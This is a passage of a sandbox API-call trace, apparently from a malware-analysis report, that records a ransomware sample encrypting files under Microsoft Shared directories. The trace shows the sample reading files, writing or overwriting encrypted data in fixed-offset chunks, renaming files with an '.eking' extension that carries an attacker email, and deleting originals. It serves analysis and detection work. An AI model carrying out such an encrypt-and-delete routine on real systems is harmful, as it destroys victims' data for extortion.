dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0269.099] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TipBand.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipband.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xcc [0269.099] GetFileSizeEx (in: hFile=0xcc, lpFileSize=0x2e3f9e8 | out: lpFileSize=0x2e3f9e8*=110592) returned 1 [0269.099] CloseHandle (hObject=0xcc) returned 1 [0269.099] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TipBand.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipband.dll")) returned 0x20 [0269.100] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TipBand.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipband.dll")) returned 0x20 [0269.100] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TipBand.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipband.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0269.100] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TipBand.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipband.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0269.100] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TipRes.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipres.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xcc [0269.100] GetFileSizeEx (in: hFile=0xcc, lpFileSize=0x2e3f9e8 | out: lpFileSize=0x2e3f9e8*=544768) returned 1 [0269.100] CloseHandle (hObject=0xcc) returned 1 [0269.101] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TipRes.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipres.dll")) returned 0x20 [0269.101] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TipRes.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipres.dll")) returned 0x20 [0269.101] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TipRes.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipres.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0269.101] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\TipRes.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipres.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0269.101] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tipresx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipresx.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xcc [0269.102] GetFileSizeEx (in: hFile=0xcc, lpFileSize=0x2e3f9e8 | out: lpFileSize=0x2e3f9e8*=12288) returned 1 [0269.102] CloseHandle (hObject=0xcc) returned 1 [0269.102] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tipresx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipresx.dll")) returned 0x20 [0269.102] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tipresx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipresx.dll")) returned 0x20 [0269.102] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tipresx.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipresx.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0269.102] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tipresx.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipresx.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0269.103] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tipskins.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipskins.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xcc [0269.103] GetFileSizeEx (in: hFile=0xcc, lpFileSize=0x2e3f9e8 | out: lpFileSize=0x2e3f9e8*=1246720) returned 1 [0269.103] CloseHandle (hObject=0xcc) returned 1 [0269.103] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tipskins.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipskins.dll")) returned 0x20 [0269.103] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tipskins.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipskins.dll")) returned 0x20 [0269.103] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tipskins.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipskins.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0269.103] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tipskins.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tipskins.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0269.104] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tiptsf.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tiptsf.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xcc [0269.104] GetFileSizeEx (in: hFile=0xcc, lpFileSize=0x2e3f9e8 | out: lpFileSize=0x2e3f9e8*=503296) returned 1 [0269.104] CloseHandle (hObject=0xcc) returned 1 [0269.104] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tiptsf.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tiptsf.dll")) returned 0x20 [0269.104] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tiptsf.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tiptsf.dll")) returned 0x20 [0269.104] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tiptsf.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tiptsf.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0269.104] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tiptsf.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tiptsf.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0269.105] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tpcps.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tpcps.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xcc [0269.105] GetFileSizeEx (in: hFile=0xcc, lpFileSize=0x2e3f9e8 | out: lpFileSize=0x2e3f9e8*=101376) returned 1 [0269.105] CloseHandle (hObject=0xcc) returned 1 [0269.105] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tpcps.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tpcps.dll")) returned 0x20 [0269.106] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tpcps.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tpcps.dll")) returned 0x20 [0269.106] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tpcps.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tpcps.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0269.106] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tpcps.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tpcps.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0269.106] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tr-TR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tr-tr\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xcc [0269.107] GetFileSizeEx (in: hFile=0xcc, lpFileSize=0x2e3f9e8 | out: lpFileSize=0x2e3f9e8*=4096) returned 1 [0269.107] CloseHandle (hObject=0xcc) returned 1 [0269.107] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tr-TR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tr-tr\\tipresx.dll.mui")) returned 0x20 [0269.107] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tr-TR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tr-tr\\tipresx.dll.mui")) returned 0x20 [0269.107] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tr-TR\\tipresx.dll.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tr-tr\\tipresx.dll.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0269.107] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\tr-TR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tr-tr\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0269.108] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\uk-UA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\uk-ua\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xcc [0269.108] GetFileSizeEx (in: hFile=0xcc, lpFileSize=0x2e3f9e8 | out: lpFileSize=0x2e3f9e8*=3584) returned 1 [0269.108] CloseHandle (hObject=0xcc) returned 1 [0269.108] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\uk-UA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\uk-ua\\tipresx.dll.mui")) returned 0x20 [0269.108] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\uk-UA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\uk-ua\\tipresx.dll.mui")) returned 0x20 [0269.108] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\uk-UA\\tipresx.dll.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\uk-ua\\tipresx.dll.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0269.108] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\uk-UA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\uk-ua\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0269.109] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-cn\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xcc [0269.109] GetFileSizeEx (in: hFile=0xcc, lpFileSize=0x2e3f9e8 | out: lpFileSize=0x2e3f9e8*=3584) returned 1 [0269.109] CloseHandle (hObject=0xcc) returned 1 [0269.110] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-cn\\tipresx.dll.mui")) returned 0x20 [0269.110] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-cn\\tipresx.dll.mui")) returned 0x20 [0269.110] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN\\tipresx.dll.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-cn\\tipresx.dll.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0269.110] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-CN\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-cn\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0269.110] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-tw\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xcc [0269.111] GetFileSizeEx (in: hFile=0xcc, lpFileSize=0x2e3f9e8 | out: lpFileSize=0x2e3f9e8*=3584) returned 1 [0269.111] CloseHandle (hObject=0xcc) returned 1 [0269.111] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-tw\\tipresx.dll.mui")) returned 0x20 [0269.111] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-tw\\tipresx.dll.mui")) returned 0x20 [0269.111] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\tipresx.dll.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-tw\\tipresx.dll.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0269.111] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\zh-TW\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-tw\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0269.111] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\msclientdatamgr\\mscdm.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xcc [0269.112] GetFileSizeEx (in: hFile=0xcc, lpFileSize=0x2e3f9e8 | out: lpFileSize=0x2e3f9e8*=419232) returned 1 [0269.112] CloseHandle (hObject=0xcc) returned 1 [0269.112] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\msclientdatamgr\\mscdm.dll")) returned 0x20 [0269.112] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\msclientdatamgr\\mscdm.dll")) returned 0x20 [0269.112] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\msclientdatamgr\\mscdm.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0269.112] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\msclientdatamgr\\mscdm.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xcc [0269.113] SetFilePointerEx (in: hFile=0xcc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0269.113] SetFilePointerEx (in: hFile=0xcc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0269.113] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\msclientdatamgr\\mscdm.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x100 [0269.113] ReadFile (in: hFile=0xcc, lpBuffer=0x3250020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e3f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesRead=0x2e3f9bc*=0x665a0, lpOverlapped=0x0) returned 1 [0269.130] WriteFile (in: hFile=0x100, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x665b0, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0x665b0, lpOverlapped=0x0) returned 1 [0269.356] WriteFile (in: hFile=0x100, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0xf2, lpOverlapped=0x0) returned 1 [0269.356] SetFilePointerEx (in: hFile=0xcc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0269.357] SetFilePointerEx (in: hFile=0xcc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0269.357] WriteFile (in: hFile=0xcc, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x665a0, lpNumberOfBytesWritten=0x2e3f71c, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f71c*=0x665a0, lpOverlapped=0x0) returned 1 [0269.359] FlushFileBuffers (hFile=0xcc) returned 1 [0269.493] FlushFileBuffers (hFile=0x100) returned 1 [0269.591] CloseHandle (hObject=0xcc) returned 1 [0269.609] CloseHandle (hObject=0x100) returned 1 [0269.610] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\msclientdatamgr\\mscdm.dll")) returned 1 [0269.615] SetEvent (hEvent=0xe0) returned 1 [0269.617] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\ado210.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0269.617] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x2e3f9e8 | out: lpFileSize=0x2e3f9e8*=1680383) returned 1 [0269.617] CloseHandle (hObject=0x100) returned 1 [0269.617] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\ado210.chm")) returned 0x20 [0269.617] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\ado210.chm"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\ado210.chm.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 1 [0269.618] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\ADO210.CHM.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\ado210.chm.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0269.618] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f838 | out: lpNewFilePointer=0x0) returned 1 [0269.618] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f838 | out: lpNewFilePointer=0x0) returned 1 [0269.618] ReadFile (in: hFile=0x100, lpBuffer=0x3250058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e3f844, lpOverlapped=0x0 | out: lpBuffer=0x3250058*, lpNumberOfBytesRead=0x2e3f844*=0x40000, lpOverlapped=0x0) returned 1 [0269.623] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x88bff, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f838 | out: lpNewFilePointer=0x0) returned 1 [0269.623] ReadFile (in: hFile=0x100, lpBuffer=0x3290058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e3f844, lpOverlapped=0x0 | out: lpBuffer=0x3290058*, lpNumberOfBytesRead=0x2e3f844*=0x40000, lpOverlapped=0x0) returned 1 [0269.632] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x15a3ff, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f838 | out: lpNewFilePointer=0x0) returned 1 [0269.632] ReadFile (in: hFile=0x100, lpBuffer=0x32d0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2e3f844, lpOverlapped=0x0 | out: lpBuffer=0x32d0058*, lpNumberOfBytesRead=0x2e3f844*=0x40000, lpOverlapped=0x0) returned 1 [0269.647] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9a8 | out: lpNewFilePointer=0x0) returned 1 [0269.647] WriteFile (in: hFile=0x100, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0xc0102, lpOverlapped=0x0) returned 1 [0269.792] SetEndOfFile (hFile=0x100) returned 1 [0269.804] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x15a3ff, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f840 | out: lpNewFilePointer=0x0) returned 1 [0269.804] WriteFile (in: hFile=0x100, lpBuffer=0x331013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e3f84c, lpOverlapped=0x0 | out: lpBuffer=0x331013a*, lpNumberOfBytesWritten=0x2e3f84c*=0x40000, lpOverlapped=0x0) returned 1 [0269.807] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x88bff, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f840 | out: lpNewFilePointer=0x0) returned 1 [0269.807] WriteFile (in: hFile=0x100, lpBuffer=0x331013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e3f84c, lpOverlapped=0x0 | out: lpBuffer=0x331013a*, lpNumberOfBytesWritten=0x2e3f84c*=0x40000, lpOverlapped=0x0) returned 1 [0269.810] SetFilePointerEx (in: hFile=0x100, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f840 | out: lpNewFilePointer=0x0) returned 1 [0269.810] WriteFile (in: hFile=0x100, lpBuffer=0x331013a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2e3f84c, lpOverlapped=0x0 | out: lpBuffer=0x331013a*, lpNumberOfBytesWritten=0x2e3f84c*=0x40000, lpOverlapped=0x0) returned 1 [0269.826] FlushFileBuffers (hFile=0x100) returned 1 [0270.109] CloseHandle (hObject=0x100) returned 1 [0270.109] SetEvent (hEvent=0xe0) returned 1 [0270.110] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\MSOINTL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\msointl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x100 [0270.114] GetFileSizeEx (in: hFile=0x100, 